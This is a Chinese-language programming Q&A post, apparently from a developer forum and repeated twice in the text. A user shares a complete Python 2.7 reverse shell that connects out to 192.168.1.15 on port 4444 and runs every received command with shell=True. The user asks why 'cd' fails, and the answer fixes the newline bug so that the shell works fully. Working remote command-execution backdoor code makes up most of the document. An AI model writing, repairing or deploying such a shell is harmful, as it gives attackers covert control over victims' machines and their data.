WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect
WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect
我正在制作一个简单的 Python 2.7 reverse-shell ,用于目录更改功能,每次我在我的 netcat 服务器中键入 cd C:\ 它都会抛出此错误 "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\n'"这是我的代码。
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
当您使用data = s.recv(1024)
从远程接收数据时,将接收到您按Enter结束当前输入时产生的\n
字符同时。
所以你只需要.strip()
它,或者使用[:-1]
删除最后一个字符(即\n
),当你获取数据时。
data = s.recv(1024).strip()
或
data = s.recv(1024)[:-1]
可能都可以。
我正在制作一个简单的 Python 2.7 reverse-shell ,用于目录更改功能,每次我在我的 netcat 服务器中键入 cd C:\ 它都会抛出此错误 "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\n'"这是我的代码。
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
当您使用data = s.recv(1024)
从远程接收数据时,将接收到您按Enter结束当前输入时产生的\n
字符同时。
所以你只需要.strip()
它,或者使用[:-1]
删除最后一个字符(即\n
),当你获取数据时。
data = s.recv(1024).strip()
或
data = s.recv(1024)[:-1]
可能都可以。